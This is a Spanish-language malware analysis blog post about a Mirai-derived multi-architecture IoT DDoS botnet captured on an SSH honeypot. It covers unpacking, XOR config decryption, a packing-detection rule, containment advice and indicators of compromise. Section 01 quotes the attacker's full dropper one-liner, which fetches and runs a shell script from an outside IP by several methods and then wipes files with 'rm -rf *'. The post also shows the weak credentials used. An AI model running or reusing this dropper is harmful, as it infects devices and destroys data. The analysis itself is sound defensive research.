Botnet IoT multiarquitectura: cómo opera y cómo detectarla
Una botnet IoT multiarquitectura distribuyó siete compilaciones del mismo bot. Empaquetó las comunes. La menos habitual, la que quedó en claro, nos dio el servidor de comando y control de toda la campaña.
El 31 de julio de 2026, a la 01:17 UTC, uno de nuestros sensores registró una sesión SSH que terminó descargando siete binarios distintos del mismo programa en menos de un segundo. Es el patrón shotgun que Mirai popularizó y que sigue vigente diez años después: compilar para todas las arquitecturas posibles y dejar que el sistema operativo decida cuál arranca.
El caso tiene una anomalía que lo hace instructivo. El operador empaquetó con UPX las arquitecturas comunes y dejó en claro la menos habitual: un build para procesadores Synopsys ARC700. Esa variante, la que menos herramientas de análisis soportan, resultó ser la copia legible del programa y permitió reconstruir el resto hasta extraer el servidor de comando y control (C2): s3o65awrf56[.]net:12121.
Por ello, el análisis de esta botnet IoT multiarquitectura demuestra que comparar diferentes compilaciones puede revelar información que una sola muestra mantendría oculta. La detección de una misma amenaza varía según la arquitectura en que se compile. Además, identificamos la técnica de evasión utilizada por el operador para esconder el empaquetado —UPX con la cabecera de secciones eliminada— y escribimos una regla que la reconoce en los veintidós binarios empaquetados del conjunto analizado. Finalmente, extrajimos el indicador más valioso de la campaña, el C2, mediante el desensamblado del binario en claro.
Este artículo está escrito desde una perspectiva defensiva. Los patrones de código mostrados son reconstrucciones representativas de técnicas públicamente documentadas, incluidas únicamente con fines educativos y de detección.
01
La captura
Un atacante que encuentra un puerto 22 abierto no sabe qué hay al otro lado: puede ser un servidor x86_64 o una cámara IP con un MIPS de 400 MHz. No tiene una forma económica de averiguarlo y dispone de pocos segundos. Por tanto, la respuesta es el shotgun: descargarlo todo y dejar que falle lo que tenga que fallar.
Nuestro atacante, 94.154.43[.]230, llevaba desde el 27 de julio golpeando los sensores con un cliente SSH-2.0-Go (un binario automatizado, no OpenSSH). El 31 entró con root/root y ejecutó un único comando:
Cowrie · session b44d4d2bc8f1 · 2026-07-31T01:17:54Z
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://31.56.209[.]153/nz.sh; curl -O hxxp://31.56.209[.]153/nz.sh; chmod 777 nz.sh; sh nz.sh; tftp 31.56.209[.]153 -c get nz.sh; chmod 777 nz.sh; sh nz.sh; ftpget -v -u anonymous -p anonymous -P 21 31.56.209[.]153 2.sh 2.sh; sh 2.sh; rm -rf nz.sh 3.sh 2.sh; rm -rf *
Figura 1. Cada comando existe porque un dispositivo embebido puede carecer del anterior: cinco directorios candidatos porque la raíz suele ser de solo lectura; wget y curl porque las imágenes de firmware traen uno u otro; TFTP y FTP porque cuando no hay cliente HTTP, BusyBox casi siempre incluye TFTP. La limpieza final borra la evidencia en disco: el binario ya está en memoria.
El script descargado, nz.sh, pide siete arquitecturas (x86, mips, arc, i468, i686, x86_64 y mpsl) y ejecuta cada una pasándole su propio nombre como argumento, una convención que viene de Mirai. El emulador retuvo cuatro; tres llegaron íntegras al laboratorio.
El DNS pasivo sitúa la campaña con precisión: el dominio se registró el 26 de julio. Cuando nos alcanzó, la infraestructura tenía cinco días de vida, y nuestra captura coincide con la primera aparición pública de los binarios.
02
Tres builds de una botnet IoT multiarquitectura
Antes de tocar una sola instrucción, las cabeceras ya cuentan la historia:
| Build | Architecture | Sections | Entropy | Strings | Packing |
|---|---|---|---|---|---|
| nz.x86 | ELF32 · Intel 80386 | 0 | 7.9650 | 76 | UPX |
| nz.mips | ELF32 MSB · MIPS-I | 0 | 7.9426 | 56 | UPX |
| nz.arc | ELF32 · ARC700 | 14 | 6.4748 | 417 | none |
Los tres son el mismo programa. El build sin empaquetar ofrece 417 cadenas imprimibles; en cambio, los comprimidos presentan únicamente 76 y 56. El empaquetador destruye alrededor del 82% de la evidencia textual sin cambiar una línea de código fuente.
Asimismo, la entropía cuenta la otra mitad de la historia: 7.96 sobre un máximo de 8 es la firma inconfundible de datos comprimidos. Las cero secciones no son un error de lectura. El cargador del sistema no necesita la tabla de secciones; por eso, los empaquetadores la eliminan y dejan ciego a cualquier analizador que trabaje por secciones.
¿Por qué ARC quedó en claro?
Synopsys DesignWare ARC es una familia de procesadores embebidos que casi nadie ve y casi todos usan: controladores de SSD, decodificadores de televisión, routers domésticos y cámaras IP.
La explicación más probable de que quedara sin empaquetar es sencilla: no existe un stub de UPX estable para esa arquitectura. Por tanto, no fue una decisión relacionada con el objetivo, sino con la disponibilidad de herramientas.
La paradoja
El resultado es una inversión completa de lo esperado: la arquitectura que menos herramientas saben leer es la única que llegó legible. De ahí salen el nombre interno de la familia (softbot), la evidencia de compilaciones que nunca vimos y el inventario completo de módulos. En cambio, de los binarios empaquetados no habría salido nada.
Conviene ser explícito sobre el límite: el motor de desensamblado de nuestro laboratorio, Capstone 5.0.7, expone veinte arquitecturas y ARC no es una de ellas. El build ARC sirve para obtener el mapa de secciones y el inventario de cadenas. Sin embargo, el desensamblado debe hacerse sobre el x86 una vez desempaquetado.
03
Cómo detectar una botnet IoT multiarquitectura basada en Mirai
Con UPX 4.2.2 el build x86 se desempaqueta limpiamente. El MIPS no.
upx 4.2.2
$ upx -d nz.x86
80884 <- 40436 49.99% linux/i386 nz.x86
Unpacked 1 file.
$ upx -d nz.mips
upx: nz.mips: CantUnpackException: corrupt b_info
Figura 2. El build MIPS lleva los metadatos internos de UPX manipulados. Se ejecuta con normalidad (su propio stub sabe leerlos) pero rompe el desempaquetado automático. Dentro de la misma campaña, del mismo día y con el mismo C2, una sola arquitectura recibió esa capa extra.
Al desempaquetar, el x86 pasa de 76 a 283 cadenas y de entropía 7.9650 a 6.3903. Lo que aparece deja claro que casi todo el bot estaba en claro: rutas de persistencia, listas de procesos, plantillas de descarga, veinte cadenas de User-Agent. Lo único cifrado es la configuración, un bloque de 45 bytes en .rodata sobre el que ni la clave XOR clásica de Mirai (0x22) ni 0xDEADBEEF producen nada legible.
La fuerza bruta no dio resultado, así que la vía correcta era buscar en el código las rutinas que consumen esas direcciones. Son dos y están contiguas. La primera, en 0x080506a0, arma la tabla en memoria antes de descifrarla:
table_init() · 0x080506a0
080506a4 push 0x10 ; length = 16
080506a6 call 0x8053a97 ; malloc(16)
080506ae mov ebx, eax
080506b0 push 0x10
080506b2 push 0x8059e0b ; <- encrypted blob in .rodata
080506b7 push eax
080506b8 call 0x8050e00 ; memcpy(dst, encrypted, 16)
080506bd mov dword ptr [0x8066b88], ebx ; -> table[1].value
080506ca mov word ptr [0x8066b8c], 0x10 ; -> table[1].length
; … the pattern repeats 8 times
Figura 3. El bot copia el blob cifrado de .rodata a memoria y va llenando una tabla de ocho entradas (puntero más longitud) con base en 0x08066b80. Es la estructura table_init() de Mirai, reproducida sin cambios.
Y a pocos bytes, la rutina que la deja en claro:
toggle_obf() · 0x080505a0
; ebp/edi/esi/[esp] hold the 4 bytes of key 0x5ff176b1 080505d4 mov ebx, ebp ; bl = key byte 0 080505d6 xor byte ptr [eax], bl ; ⊕ byte 0 onto the blob byte 080505db mov ebx, edi ; bl = byte 1 080505dd xor byte ptr [eax], bl ; ⊕ byte 1, same blob byte 080505e2 mov ebx, esi ; bl = byte 2 080505e4 xor byte ptr [eax], bl ; ⊕ byte 2 080505f6 inc edx ; next blob byte 080505f9 mov bl, byte ptr [esp] ; bl = byte 3 080505fc xor byte ptr [eax], bl ; ⊕ byte 3 08050608 jg 0x80505d4 ; loop until length
Figura 4. Es toggle_obf() de Mirai. Los cuatro XOR caen sobre el mismo byte del blob, pero cada uno con un byte distinto de la clave de 32 bits, así que en la práctica esa clave colapsa a un solo byte: el XOR acumulado de sus cuatro octetos.
Ese detalle resuelve el caso. En Mirai original, 0xDEADBEEF colapsa a 0x22 (la constante que todo el mundo conoce). Aquí la clave almacenada es 0x5ff176b1, y colapsa a 0x69. El autor cambió la constante y nada más. La tabla de ocho entradas queda así:
| Slot | Decrypted value | Meaning |
|---|---|---|
| table[1..5] | s3o65awrf56[.]net | C2 domain, replicated across five slots |
| table[6] | 0x2F59 | C2 port = 12121 |
| table[7] | 4.0 | Bot version |
| table[8] | Source Engine Query | VSE attack payload |
Confirmación cruzada
El build ARC contiene exactamente los mismos bytes cifrados y la misma clave efectiva 0x69. Un solo árbol de código, un solo C2, siete compilaciones.
El mapa funcional completa el retrato. La entrada tabla[8] alimenta un módulo de ataque en 0x0804cd00 que apunta al puerto 0x6987 (27015, el puerto por defecto del motor Source de Valve): amplificación clásica contra servidores de videojuegos, que explica el nicho comercial de la botnet. Y en .data hay cuarenta rutas a reboot, shutdown, poweroff y halt: el bot no solo persiste, obstaculiza activamente el reinicio, que es la primera medida que toma cualquier usuario doméstico cuando su router se comporta de forma extraña.
Hay una ausencia igual de significativa. Buscamos un diccionario de credenciales y no lo hay (ni en claro, ni bajo la clave 0x69). Tampoco motor de fuerza bruta ni escáner. El implante es un bot de DDoS puro: el escaneo y el compromiso inicial los hace infraestructura externa. Dieciocho direcciones del bloque 94.154.43.0/24 golpearon la honeynet en treinta días sirviendo al menos tres campañas distintas. La separación es deliberada: quemar un nodo de escaneo no le cuesta la botnet al operador.
04
Lo que el análisis dejó al descubierto
La detección depende de la arquitectura
El mismo código, compilado para tres arquitecturas, no recibe el mismo veredicto de la industria. Sobre un panel multi-motor, el build MIPS se detecta 33 de 60, frente a 37 de 63 en el x86 y el ARC. Mismo programa, mismo día, mismo C2, y aun así la cobertura del sector varía con la arquitectura de compilación. La diferencia agregada es marginal, pero un producto concreto puede marcar dos builds y dejar limpio el tercero.
Lo que este caso demuestra
La cobertura es específica del motor, no de la arquitectura. Contrastar los builds hermanos (exactamente lo que hicimos aquí) es lo que evita dar por limpio un dropper de botnet que un solo producto no marca. La lección no es sobre MIPS: es sobre corroborar entre arquitecturas antes de emitir un veredicto.
Donde sí hay asimetría es en el etiquetado: los tres binarios reciben solo dos nombres de familia en la industria (trojan.mirai/cryp para el x86 y trojan.mirai/usblgv26 para el MIPS y el ARC), y el dropper una tercera etiqueta, downloader.medusa/shell. Un mismo código fuente, sin un veredicto estable.
La evasión de empaquetado, y la regla que la caza
El build x86 llega empaquetado con UPX, pero con la cabecera de secciones eliminada: cero secciones declaradas, entropía de 7.9650 y la cadena UPX! intacta en el archivo. Es una evasión conocida (sin tabla de secciones, cualquier heurística que se apoye en ellas se queda ciega). La caracterizamos y la convertimos en una regla que combina las tres señales que el empaquetador no puede ocultar: entropía alta, ausencia de secciones y firma del empaquetador. Pasada sobre todas las muestras:
Packing rule (UPX + 0 sections) · ELF samples
sha256 (16) UPX! sections rule
──────────────────────────────────────────
3625d06889695359 yes 0 ✓
dbb7ebb960dc0d5a yes 0 ✓
0b4c7ca981650392 yes 0 ✓
57de376767a78229 yes 0 ✓
8e1a67a5c03b3cd8 yes 0 ✓
… 17 more
──────────────────────────────────────────
ELF in the set ...................... 55
packed (UPX + 0 sections) ........... 22
covered by the rule ................. 22
Figura 5. Veintidós de los cincuenta y cinco binarios ELF analizados (el 40%) están empaquetados con UPX y con la cabecera de secciones eliminada. La regla los detecta todos combinando tres señales que el empaquetador no puede ocultar: la firma UPX!, la ausencia de secciones y la entropía de datos comprimidos. Ninguna de las tres, por separado, basta.
El indicador de C2 solo aparece al desensamblar
En conjunto, estos hallazgos confirman que una botnet IoT multiarquitectura puede conservar el mismo código y servidor C2, aunque sus compilaciones presenten diferencias de empaquetado, detección y compatibilidad con las herramientas de análisis.
05
Cómo contener una botnet IoT multiarquitectura
Nada de lo descrito funciona contra un dispositivo sin SSH ni Telnet expuestos, o con autenticación por clave. Las credenciales que abrieron la sesión fueron root/bnsr1234567890 y root/root.
En red. El patrón del comando de una línea es una firma casi perfecta y sobrevive a cualquier recompilación: la cascada de cd, las descargas HTTP a IP literal sin dominio hacia rutas con extensión de arquitectura, el tráfico TFTP o FTP saliente desde dispositivos que no tienen por qué generarlo. Y bloqueo por rango, no por dirección suelta: dieciocho direcciones del mismo /24 hacen inútil el bloqueo unitario.
En host. Escrituras de ejecutables en /tmp, /var/run o /mnt; copia de busybox a un directorio temporal; procesos que leen /proc/net/tcp y /proc/*/exe en secuencia corta; modificaciones de /etc/rc.local o /etc/rc2.d/, y archivos ocultos como /usr/bin/.sh.
En el laboratorio. Tres prácticas que este caso confirma. Contrastar los builds hermanos en vez de fiarse del veredicto de una sola arquitectura. Combinar señales (entropía, secciones y firma del empaquetador) en vez de depender de una sola. Y tratar el desempaquetado como parte del análisis, no como un paso previo opcional.
Conclusión
El modelo de la botnet IoT multiarquitectura persiste porque es económicamente racional: compilar siete veces cuesta menos que averiguar la arquitectura del objetivo, y las seis descargas que fallan tienen coste marginal cero.
La detección no es una propiedad del malware sino del par formado por el código y la arquitectura en que se compiló. Un veredicto limpio sobre un binario no dice nada sobre sus hermanos, y en una campaña multiarquitectura los hermanos son la norma. El empaquetado tampoco es uniforme: aquí quedó en claro precisamente la arquitectura más marginal (la que menos herramientas del sector soportan), y esa coincidencia, que el operador no buscó, fue la que facilitó el análisis.
La defensa en profundidad no es un eslogan sino la lectura literal de estos datos. Ninguna capa aguanta sola: la firma falla al recompilar, la entropía sola produce falsos negativos, el bloqueo por geografía mide proveedores de alojamiento y no adversarios, y la ingesta automática no ve el C2. Lo que sobrevive es la conducta y la infraestructura, los únicos indicadores que el compilador no puede reescribir.
Indicadores de compromiso
Mando y control s3o65awrf56[.]net : 12121
Cargador y C2 31.56.209[.]153 (mismo host)
Acceso SSH 94.154.43[.]230 · rango 94.154.43.0/24 con 18 direcciones activas
Muestras (SHA-256)
d22ed365fc28f998ce90d85e4d4c529e4861dde56b0ada2f3865742f199716a7: nz.sh
1741729211a767777d024691477bc83333d59e0f9f222571600487bdd4f9b011: nz.x86
7d56228e11bcf1feafa30c07418322cbd223b2d95b8092fc34e7e3a346f19361: nz.mips
8a4636e894d4d7a9ac0880a1210d70e0cf2c05e14924bcfbf39cffcef27c1e41: nz.arc
Artefactos en host /usr/bin/.sh · /etc/init.d/sysd · /etc/rc2.d/S99sysd · /tmp/.instance_lock
Clave de ofuscación 0x5ff176b1 (efectiva 0x69) · familia softbot.arm · softbot.mpsl
Todo el análisis fue estático, sobre muestras capturadas en infraestructura propia. No se estableció contacto con la infraestructura del atacante; la corroboración externa procede de fuentes pasivas.
Publicar comentario